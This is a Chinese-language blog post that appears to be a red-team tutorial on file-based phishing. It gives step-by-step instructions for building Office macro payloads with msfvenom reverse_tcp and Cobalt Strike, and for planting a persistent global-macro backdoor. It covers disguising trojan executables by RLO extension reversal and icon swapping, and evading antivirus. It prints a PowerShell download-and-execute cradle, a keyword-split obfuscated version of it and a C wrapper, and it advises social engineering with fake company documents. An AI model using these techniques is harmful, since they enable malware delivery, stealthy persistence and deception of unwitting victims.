前言

今年参加了几次攻防演练对抗赛,其它队伍依靠社工结合文件钓鱼得了不少分,自己之前并没有相关知识的积累,因此在这个方面吃了一些亏。

office宏攻击

宏是微软公司为其OFFICE软件包设计的一个特殊功能,有着独特的文件后缀名,如:xlsm,docm,pptm等。

1、msf生成payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f vba -o nouyan.vba

-f指定生成vba宏语言的攻击payload

首先新建一个支持文件宏的office文件,以.docm进行演示。

首先选择文件-选项-自定义功能区-开发工具。

点击宏按钮,创建一个新的文件宏。

把msf生成的宏代码复制到代码框中。

保存文件,一个msf的反弹文件制作完成。

msf开启监听。

打开生成的1.docm文档。

出现安全警告,提升宏被禁用,点击启用内容。

成功上线。

2、cs生成payload

cs也支持生成office宏代码。

选择一个监听器,直接复制代码到宏代码框中。

上线成功。

实战

类似office宏还有一些其它利用方式,如DOCX文档远程模板注入执行宏,还可以通过shellcode进行免杀处理。

在实战中,首先尽可能社工目标的各种信息,取得对方信任,根据钓鱼的目标,修改文档的名字,通过邮箱进行发送,如xx公司采购说明。

office宏钓鱼存在几大不适用性:

1、对方电脑未使用office。

2、office默认禁用宏,打开文件会进行提示。

3、独特的宏文件后缀,docm,xlsm等,容易引起他人怀疑。

4、免杀性要求较高。

全局宏建立持久性后门

office宏除了用于钓鱼,还可以用来建立隐蔽的持久性后门。

新建一个宏,位置要选择所有活动模版和文档。

在ThisDocument中写入宏代码,进行保存。

成功建立了一个隐藏持久性后门,打开任意文档都可以触发宏代码,且杀软没有任何反应。

可执行exe文件

msf和cs都可以生成反弹木马,通过鼠标点击的方式进行触发。exe木马用于钓鱼,主要解决的问题有三个:

1 、后缀名隐藏

2、文件图标更换

3、文件免杀

后缀名隐藏

https://null-byte.wonderhowto.com/how-to/hide-virus-inside-fake-picture-0168183/

经典的“ .jpg.exe”

默认情况下,Windows隐藏已知的文件扩展名。

使用.scr扩展名

scr等同于exe后缀名。

Unitrix反转后缀

更改文件名为:重要资料xgpj.scr

光标移动到g之前选择RLO反转。

成功隐藏后缀。

经过测试,使用.scr扩展名和Unitrix反转后缀会被360直接报毒。

文件图标更换

使用Restorator对exe文件进行图标更改。

把木马文件和想要替换的目标exe都拖入到软件中。

拖拽360图标到aaa.exe中,保存文件,成功替换图标。

文件免杀

介绍两种免杀姿势。

‘A’’V‘lator免杀

下载传送门

一个后门生成器实用程序,它使用加密和注入技术来绕过杀软检测,并且自带了RTLO和更改图标功能。

使用AES加密来加密给定的shellcode

生成包含加密有效负载的可执行文件

使用各种注入技术将shellcode解密并注入目标系统

共有三个表单:

分别存放用于加密shellcode的加密密钥的文本,AES加密的IV的文本和shellcode的文本。

程序左方给出了在msf框架下的利用步骤。

本次使用cs进行演示。

1、生成c#的payload

2、保留16进制,使用notepad++去除空格

3、复制到payload框中进行加密

4、可以选择反转后缀(会被某些杀毒识别为恶意软件),替换图标,选择注入技术,成功生成文件。

可以绕过大多数的杀软。

本机完美绕过360动静态查杀。

powershell免杀

当前各大杀软对powershell的免杀能力都不强。

免杀思路:首先找到免杀的powershell payload,通过其它语言系统命令执行函数,调用powershell,最后打包成exe。

使用cs自动生成的payload。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/'))"

接下来的目的是对执行的powershell语句进行免杀处理。

https://04z.net/archives/bf627292.html文章里面的一些免杀思路都不错。

很多思路和webshell的免杀相同,绕过关键字检测,需要自己动手去尝试,下面介绍一种powershell免杀。

关键字拆分免杀

拆分前:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/'))"

经过测试杀软检测downloadstring字符串,进行拆分。

拆分后:

powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://x.x.x.x''))';$a3="$a1,$a2";IEX(-join $a3)"

成功绕过杀软。

对于对其它关键字的检测,都可以通过这种方法绕过。

使用c语言的system函数去执行powershell。

#include<stdio.h> #include<stdlib.h> int main(){
system("powershell.exe \"$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://x.x.x.x''))';$a3=\"$a1,$a2\";IEX(-join $a3)\""); return 0;
}

编译成exe文件,180kb大小。

大部分的杀软都不会报毒。

运行后成功上线,会留下一个黑窗口。

可以使用 -w hidden进行隐藏执行,但hidden会报毒,可以尝试下拆分hidden进行绕过。

powershell能做的事情很多,比如免杀提权,更多的用法自行尝试。

总结

不管是宏文件还是钓鱼木马,一次成功的文件钓鱼离不开社会工程学,如何快速取得他人信任,才是难上之难。

未解决的问题:

绕过杀软隐藏真实文件后缀。

*本文原创作者:诺言